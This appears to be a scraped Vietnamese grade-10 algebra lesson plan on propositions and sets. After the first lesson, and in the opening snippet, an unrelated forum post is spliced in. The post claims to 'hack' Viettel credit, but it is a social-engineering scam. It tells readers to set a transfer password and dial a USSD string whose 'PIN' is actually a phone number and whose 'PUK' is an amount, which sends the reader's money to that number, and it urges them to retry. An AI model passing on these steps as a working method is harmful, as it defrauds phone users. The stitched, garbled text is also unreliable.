Giáo án Đại số lớp 10 ban cơ bản

Ở đây tôi xin đưa ra một vài ví dụ: và còn rất nhiều những topic như vậy,nhưng hầu hết là của AMATEUR HACKER,chủ yếu nhằm vào mục đích vụ lợi chứ không thông thạo về chuyên môn, họ thiếu[r]

Trang 1

Ngày soạn:…… tuần :………

Chương I MỆNH ĐỀ - TẬP HỢP

Tên bài học: §1 MỆNH ĐỀ - Tiết 1/2

Thời lượng: 1 tiết, Ban Cơ bản (ĐS 10 chuẩn).

I Mục tiêu.

Qua bài học học sinh cần nắm được:

1/ Về kiến thức

 Biết thế nào là 1 mđề, mệnh đề phủ định, mđề chứa biến, mđề kéo theo

 Phân biệt được điều kiện cần, đk đủ

2/ Về kỹ năng

 Biết lấy vd về mđề, mđề phủ định, xác định được tính đúng sai của 1 mđề

 Nêu được vd về mđề kéo theo

 Phát biểu được 1 đlý dưới dạng đk cần và đk đủ

3/ Về tư duy

 Hiểu được các khái niệm mđề phủ định, mđề chứa biến…

 Hiểu được đk cần và đk đủ

4/ Về thái độ:

 Cẩn thận, chính xác

 Tích cực hoạt động; rèn luyện tư duy khái quát, tương tự

II Chuẩn bị.

 Hsinh chuẩn bị kiến thức đã học các lớp dưới

 Giáo án, SGK, STK, phiếu học tập, …

III Phương pháp.

Dùng phương pháp gợi mở vấn đáp

IV Tiến trình bài học và các hoạt động.

1/ Kiểm tra kiến thức cũ

2/ Bài mới

HĐ 1: Từ những ví dụ cụ thể, hs nhận biết khái niệm.

Hoạt động của giáo viên Hoạt động của học

sinh

Tóm tắt ghi bảng

- Yêu cầu HS nhìn vào 2 bức tranh,

đọc và trả lời tính đúng sai

- Đưa ra kn mệnh đề (đóng khung)

- Trả lời từng bức tranh một

- Ghi hoặc không ghi

kn mđề

Ghi Tiêu đề bài I/ Mđề Mđề chứa biến

1 Mệnh đề SGK Thường k/h là

A, B, C,…P, Q, R,…

HĐ 2: Học sinh tự lấy 1 vài ví dụ mđề và không phải mđề.

Hoạt động của giáo viên Hoạt động của học sinh Tóm tắt ghi bảng

-Gv Hướng dẫn lấy 02 câu mđề (1

đại số, 1 hình học) và 01 câu

không phải mđề (thực tế đsống )

- Lấy ví dụ về câu mđề

và không phải mđề

Vdụ1

- Tổng các góc trong 1 tam giác = 1800

- 10 là sô nguyên tố

- Em có thích học Toán không ?

HĐ : Thông qua việc phân tích vdụ cụ thể, đi đến kn mđề chứa biến.

- Xét 2 câu sau:

P(n): “n chia hết cho 3”, n є N

Q(x): “x >=10”

- Trả lời tính đúng sai khi chưa thay n=, x=

- Trả lời tính đúng sai

2 Mđề chứa biến (SGK)

Trang 2

- Hd xét tinh đúng sai,…mđ chứa

biến

khi thay n=, x=

HĐ 3: Học sinh tìm giá trị của n để câu “n là số nguyên tố” thành 1 mđề đúng, 1 mđề

sai

học sinh

HĐ : Xét vdụ để đi đến kn phủ định của 1 mđề.

- Gv hd hs đọc 2 ví dụ trong

SGK

- Nhận xét P va pđ của P

- Nhận xét mđ P và phủ định của P giống, khác nhau ?

- Ghi chọn lọc

(SGK)

HĐ 4: Hs nêu các mđ phủ định của 1 mđ.

- Gv yêu cầu hs lập các mđ

phủ định, xét tính đúng sai

của 2 mđề trong SGK

- Hs làm bài Những câu đúng của HS

- Chú ý : 77P = P

HĐ : Xét vdụ để đi đến kn mđề kéo théo, đk cần, đk đủ.

- Yêu cầu HS đọc vd 3 ở

SGk - Kn mđ kéo theo

- Tính đúng sai của mđ kéo

theo khi P đúng, Q đ hoặc S

- Ptích vd 4, ý 1

- Đlý là mđ đúng, thường ở

dạng kéo theo, đk cần, đủ

- Đọc vd 3

- Đọc ví dụ 4

- Ghi chọn lọc

SGK

HĐ 5: Củng cố

Hd hs thực hiện HĐ 6 ở SGK

Thêm ý lập pđịnh của P, Q

- Trả lời theo hd của GV Ghi những câu đúng

3/ BTVN: 1, 2, 3, SGK trang 9.

Trang 3

[HACK] BẢN HACK MỚI NHẤT LẤY TIỀN MẠNG VIETEL ĐÂY (BẢN CẬP NHẬT 30/07)

Xin được chia sẻ cùng các bạn một thủ thuật dùng mã hack mà tôi vừa mới khám phá:như các bạn cũng đã thấy,rất nhiều các cá nhân post bài lên các diễn đàn trong nuớc với nội dung ”hack tiền của mạng Viettel”…để tìm được những topic như thế không hề khó Ở đây tôi xin đưa ra một vài ví dụ:

và còn rất nhiều những topic như vậy,nhưng hầu hết là của AMATEUR HACKER,chủ yếu nhằm vào mục đích vụ lợi chứ không thông thạo về chuyên môn, họ thiếu kinh nghiệm ,kiến thức và cả tính chính xác trong lĩnh vực Hack bậc thầy này,mà nó đòi hỏi phài có một trình độ Hack tương đối cao Chính vì những lí do nêu trên và với nhiều năm kinh nghiệm của mình,tôi xin giới thiệu : Tôi :

Họ tên: xucxactinhyeu

Nghề nghiệp : hacker

Tôi không dám nhận mình là một sinh viên ưu tú,nhưng với những gì mà mình tự khám phá được thì tôi thấy rất hài lòng.Chắc các bạn cũng biết tới diễn đàn HAVonline – diễn đàn hacker lớn nhất hiện nay và tôi rất tự hào khi mình nằm trong ban quản trị diễn đàn.Với những kinh nghiệm mà tôi đã có ,hôm nay tôi xin giới thiệu với các bạn cách hack tiền tài khoản Viettel hoàn toàn chính xác.Do thời gian có hạn nên tôi nói ngắn gọn như sau:

Các bạn chỉ cần thực hiện tuần tự và chính xác theo yêu cầu của 6 bước sau:

1 -Một sim Viettel hoạt động trên 230 ngày(hon 7 tháng).Tại sao phải cần vậy?Vì chỉ có những sim hoạt dộng trên 7 tháng mới được Viettel đưa vào mã bảo vệ tài khoản chuyển tiền ( 6 tháng chưa được đâu các bạn) trên server Viettel quản lí.

2 -Rất đơn giản : Soạn tin MK gửi tới 136 để lấy mât khẩu chuyển tiền của bạn( nếu bạn chưa có).Tại sao phải cần vậy ? Vì chúng ta hack thông qua dịch vụ I-Share của Viettel.

3 -Ðổi mật khẩu chuyển tiền: các bạn gọi tới 900 ,nhánh phím số 3 và làm theo hướng dẫn và điều quan trọng nằm ở bước này Các bạn phải đổi mât khẩu chuyển tiền thành dãy số sau :10010010 ,đó chính là mật khẩu Server trung gian ở bước 5 Tại sao phải làm vậy?Vì khi các bạn chuyển mật khẩu thành dãy số trên tức là đã mã hóa tài khoản của bạn trên Server mà Viettel quản lý.Ðiều này rất quan trọng.

4 -Tài khoản trong sim của bạn phải có nhiều hơn 33999 vnd

5 -Các bạn làm theo cú pháp nhu sau: *136* mật khẩu Server *mã PIN *mã PUK# Để khỏi mất thời gian của các bạn tìm lại 2 mã trên nên tôi đã tạo ra một Server trung gian ( viết tắt là TIS-Telephone of Intermediacy Server) với mã PIN và mã PUK mặc định (dùng đăng nhập sdt của bạn trên Server),tóm lại, cụ thể các thông số như sau (chỉ áp dụng cho mạng Viettel):

+ mật khẩu Server: 10010010

+ mã PIN : 841682455083

+ mã PUK: 28000

Các bạn chỉ cần nhập chính xác 3 dãy số trên vào cú pháp và nhấn nút gọi thì hệ thống sẽ tự động đăng nhập sdt của bạn vào TIS (Telephone of Intermediacy Server) mà tôi tạo ra và tài khoản của sdt người gửi sẽ tự đông được công thêm tiền hack được sau khi đăng nhập (tiền

Trang 4

hack được sẽ công thêm vào tài khoản chính),thật ra đây là một trong những cách hack tài khoản điện thoại mà các Hacker chuyên nghiệp trên thế giới gần đây mới sử dụng ( nguyên lý là dùng mã hack đảo chiều các dịch vụ chuyển tiền từ các Server di đông,chẳng hạn như I-Share, hiên trên mạng có nhiều tài liệu tiếng Anh nói về vấn đề này).

6- Sau khi làm xong những bước trên : các bạn chỉ cần đợi 15 phút , sẽ có tin nhắn trả lời và tài khoản chính của các bạn đã được cộng thêm 50000 vnd.( lưu ý 50000vnd sẽ được cộng trực tiếp vào tài khoản chính của bạn)

+Tôi hack được tài khoản của mạng di động viettel từ 1 lỗ hổng nhỏ trên I-Share và những lần tôi test gần đây đều thành công.Thông báo sevsr trung gian ma tôi tao ra cũng là sevsr duy nhất hoạt động có hiệu quả hiện nay).

Tất cả chỉ có vậy nhưng đó chính là công sức bao lâu nay tôi khám phá.Các bạn hãy thử và cho tôi biết kết quả nếu như bản hack hoạt động tốt tôi sẽ mở thêm nhiều sever khác.

Các Bạn tranh thủ đi kẻo viettel sửa lỗi đó

Nếu bạn làm lần đâù mà không được thì hãy làm đi làm lại vài lần, chắc chắn sẽ thành công

Tên bài học: §1 MỆNH ĐỀ - Tiết 2/2

I Mục tiêu.

 Củng cố kn mđề kéo theo, điều kiện cần, đk đủ

 Biết đuợc mđ tương đương, ký hiệu (với mọi),  (tồn tại)

 Biết phát biểu mđ dưới dạng đk cần và đủ

 Páht biểu thành lời các mệnh đề chứa ký hiệu với mọi và tồn tại

 Phủ định được mđ chứa ký hiệu với mọi và tồn tại

3/ Về tư duy

 Hiểu được đk cần và đủ

 Hiểu được mđ chứa ký hiệu với mọi và tồn tại

 Hsinh chuẩn bị kiến thức đã học các lớp dưới, tiết trước

Cho mđ P: “Nếu tam giác ABC đều thì có 1 góc = 600” Hãy phát biểu duới dạng kn

“đk cần”, “đk đủ”

2/ Bài mới

Trang 5

HĐ 1: Hđ dẫn đến kn mđ tương đương

Hoạt động của giáo viên Hoạt động của học

- Yêu cầu HS tiến hành hđ 7

- Đưa ra kn mệnh đề đảo , tg đuơng

- Vd 5, cho hs tìm P, Q

- Thực hiện hđ 7 SGK

- Ghi hoặc không ghi

kn mđề tương đương

- Tìm theo yc của GV

Ghi Tiêu đề bài IV/ Mđề đảo Mđề tđg SGK

- P => Q và Q => P đều đúng thì ta có mđ

P  Q, đọc là…

- Chú ý: Để kiểm tra

P  Q đ hay s, ta

phải ktra đồng thời

P => Q và Q => P

HĐ 2: Giới thiệu ký hiệu với mọi và tồn tại

-Gv giới thiệu mđ ở vd 6, 7 kh

trước rồi đưa câu văn sau

- Cách đọc các ký hiệu……

- Theo dõi

- Ghi ngắn gọn V/ Ký hiệu   và

Với mọi; Tồn tại ít nhất hay có 1, …

HĐ 3 : Hs tiến hành các HĐ 8, 9 SGK

- Gọi hs lên bảng trình bày - Hđ 8, 9 ghi ra nháp - Ghi những câu đúng và

hay

HĐ 4: Hd lập mđ phủ định và tìm giá trị đ, s của mđ có chứ a ký hiệu với mọi, tồn tại.

- Vd 8, SGK

- Phủ định mđ chứa 2 kh trên

- Cách tìm gtrị đ, s

- Nghe và theo dõi

- Ghi công thức… - Ghi mẫu (công thức)

HĐ 5 : Hs tiến hành hđ 10, 11

- Gọi hs lên bảng trình bày - Hđ 10, 11 ghi ra nháp

HĐ 6: Củng cố.

- Gv yêu cầu hs lập các mđ

phủ định, xét tính đúng sai

của những mđề sau:

- Sau 5’, gọi 2 hs lên bảng

- Hs làm bài Với mọi x thuộc R, x2 +

1 > 0 Tồn tại số nguyên y, y2 -

1 = 0

3/ BTVN: 4 – 7, SGK trang 9, 10.

Trang 6

Tên bài học: BÀI TẬP MỆNH ĐỀ (ppct: Tiết 3)

I Mục tiêu.

 Củng cố kn mđề kéo theo, điều kiện cần, đk đủ, mđ tương đương

 C/m tình đúng sai các mđ chứa ký hiệu (với mọi),  (tồn tại)

 Lập được mđ phủ định

 Biết phát biểu mđ dưới dạng điều kiện cần, đk đủ, đk cần và đủ

 Páht biểu thành lời các mệnh đề chứa ký hiệu với mọi và tồn tại

 Phát biểu mđ = dùng ký hiệu với mọi và tồn tại

3/ Về tư duy

 Hiểu và vận dụng

Trang 7

Cho mđ P: Với mọi x, IxI < 5  x < 5 Xét tính đúng sai, sửa lại đúng nếu cần

2/ Bài mới

HĐ 1: Bài tập 1, 2

Hoạt động của học sinh Hoạt động của giáo viên Tóm tắt ghi bảng

- Đứng tại chỗ phát biểu - Yêu cầu HS làm bt 1, 2 tại chỗ,

chọn hs tuỳ ý

Ghi Tiêu đề bài

- Ghi 1 vài ý cần thiết

HĐ 2: Bài tập 3, 4

- 2 hs lên bảng, dưới lớp làm

nháp và theo dõi

-Gv gọi 2 hs lên bảng giải câu 1,

4 bt 3; câu b,c bt 4

- Cho hs dưới lớp nhận xét

- Chỉnh sửa

- Ghi bài tương tự

HĐ 3 : Bài tập 5, 6

nháp và theo dõi

-Gv gọi 3 hs lên bảng giải bt 5; câu a, d bt 6;.câu b, c bt 6

- Chỉnh sửa

HĐ 4: Bài tập 7

nháp và theo dõi -Gv gọi 2 hs lên bảng giải câu a, d bt 7;.câu b, c bt 7

- Chỉnh sửa

HĐ 5 : Củng cố

- Giải 1 số câu nhỏ

Câu e, d bt 15/SBT, trang 9

3/ BTVN: 11, 12, 14, 15, 16, 17 SBT trang 9.

Trang 8

Tên bài học: §2 TẬP HỢP (ppct: 4)

I Mục tiêu.

 Hiểu đuợc kn tập hợp, tập hợp con, 2 tập hợp bằng nhau

 Nắm kn tập rỗng

 Sử dụng đúng các ký hiệu є, Ø,  ,

 Biết các cách cho tập hợp

 Vận dụng được vào 1 số ví dụ

3/ Về tư duy

 Nhớ, hiểu, vận dụng

2/ Bài mới

HĐ 1: KN tập hợp, phần tử của tập hợp

Trang 9

- Lấy thêm vdụ về tập hợp số, tập

hợp trong hình học

- Ghi bài

Ghi Tiêu đề bài I/ Khái niệm tập hợp SGK

1 Tập hợp và phần tử

* a є A: a là 1 ptử của tập hợp A (a thuộc A)

* b  A: b không phải

là 1 ptử của tập hợp A (b không thuộc A)

HĐ 2: Cách cho tập hợp dưới dạng liệt kê.

- Nhược và ưu của tập hợp cho

duới dạng liệt kê, …tập hợp cho

dưới dạng chỉ ra tính chất đặc

trưng

- Ghi bài

2 Cách xác định tập hợp Chú ý: Mỗi ptử chỉ đuợc liệt kê 1 lần và không kể thứ tự

HĐ 3 : Cách cho tập hợp = cách chỉ ra tính chất đặc trưng.

- Nhược và ưu của tập hợp cho

duới dạng chỉ ra tính chất đặc

trưng

- Biểu đồ Ven

- Lấy1 ví dụ cho = 2 cách và

minh hoạ = biểu đồ ven

- Ghi bài

2 Cách xác định tập hợp Các cách xác định 1 tập hợp:

-HĐ 4: Tập hợp rỗng.

- Yêu cầu hs nhận xét Ø và {Ø}

?

- Trả lời

- Ghi bài

3 Tập hợp rỗng SGK

- Ghi dưới dạng mđề

HĐ 5 : Quan hệ chứa trong và chứa, tập hợp con

- Hd hs viết dưới dạng mđề

- Vẽ bđồ ven dẫn dắt đến các

3 tính chất

- Trả lời

- Ghi bài, vẽ biểu đồ ven

II/ Tập hợp con SGK

* A B hoặc BA: A là 1 tập con của B; A chứa trong B,

B chứa A

* Các tính chất

HĐ 6: Hai tập hợp bằng nhau.

- Hd hs viết dưới dạng mđề - Thực hiện hđ 6 SGK.- Trả lời

- Ghi bài

III/ Tập hợp bằng nhau SGK

Trang 10

HĐ 7: Củng cố.

* Xác định các ptử của tập

hợp

* Viết các tập hợp sau

dưới dạng liệt kê (cho đọc

= lời trước)

- Thực hiện Ví dục GV ra

- Làm ví dụ

- Lên bảng

Ví dụ 1:

X = {xє R/(x-2)(x2-4x+3) = 0}

Vídụ 2:Viết các tập hợp sau dưới dạng liệt kê

A = {xє Z/3x2+x-4=0}

B = {x/x=3k, kє Z và -1<x<12}

3/ BTVN: 1 – 3, SGK trang 13.

Tên bài học: §3 CÁC PHÉP TOÁN TẬP HỢP (ppct: Tiết 5)

I Mục tiêu.

 Hiểu đuợc kn giao, hợp các tập hợp

 Hiểu kn hiệu và phần bù của hai tập hợp

 Biết cách giao, hợp hai, nhiều tập hợp

 Biết các lấy hiệu và phần bù của 2 tập hợp

 Vận dụng được vào 1 số ví dụ

3/ Về tư duy

 Nhớ, hiểu, vận dụng

Định dạng
Số trang	20
Dung lượng	247,84 KB